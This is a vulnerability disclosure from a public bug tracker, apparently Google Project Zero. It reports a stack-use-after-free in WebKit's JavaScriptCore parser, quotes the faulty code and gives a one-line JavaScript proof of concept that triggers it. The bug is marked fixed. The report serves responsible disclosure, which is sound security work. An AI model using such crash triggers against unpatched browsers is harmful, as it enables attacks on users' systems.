New issue
Advanced search Search tips
Starred by 1 user
Status: Fixed
Owner:
Closed: Jul 24
Cc:



Sign in to add a comment
WebKit: JSC: Stack-Use-After-Free in ObjectPatternNode::appendEntry
Project Member Reported by lokihardt@google.com, May 11 2017 Back to list
Here's a snippet of ObjectPatternNode::appendEntry.

void appendEntry(const JSTokenLocation&, ExpressionNode* propertyExpression, DestructuringPatternNode* pattern, ExpressionNode* defaultValue, BindingType bindingType)
{
    m_targetPatterns.append(Entry{ Identifier(), propertyExpression, false, pattern, defaultValue, bindingType });
}

Here's the definition of Entry.

struct Entry {
    const Identifier& propertyName;
    ExpressionNode* propertyExpression;
    bool wasString;
    DestructuringPatternNode* pattern;
    ExpressionNode* defaultValue;
    BindingType bindingType;
};

The Identifier object created by "Identifier()" is in the stack. So it will get freed in the end of the appendEntry method.

PoC:
var {[a]: b, ...[]} = {};



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

 
Project Member Comment 1 by lokihardt@google.com, May 11 2017
Project Member Comment 2 by lokihardt@google.com, Jul 24
Labels: -Restrict-View-Commit
Status: Fixed
Sign in to add a comment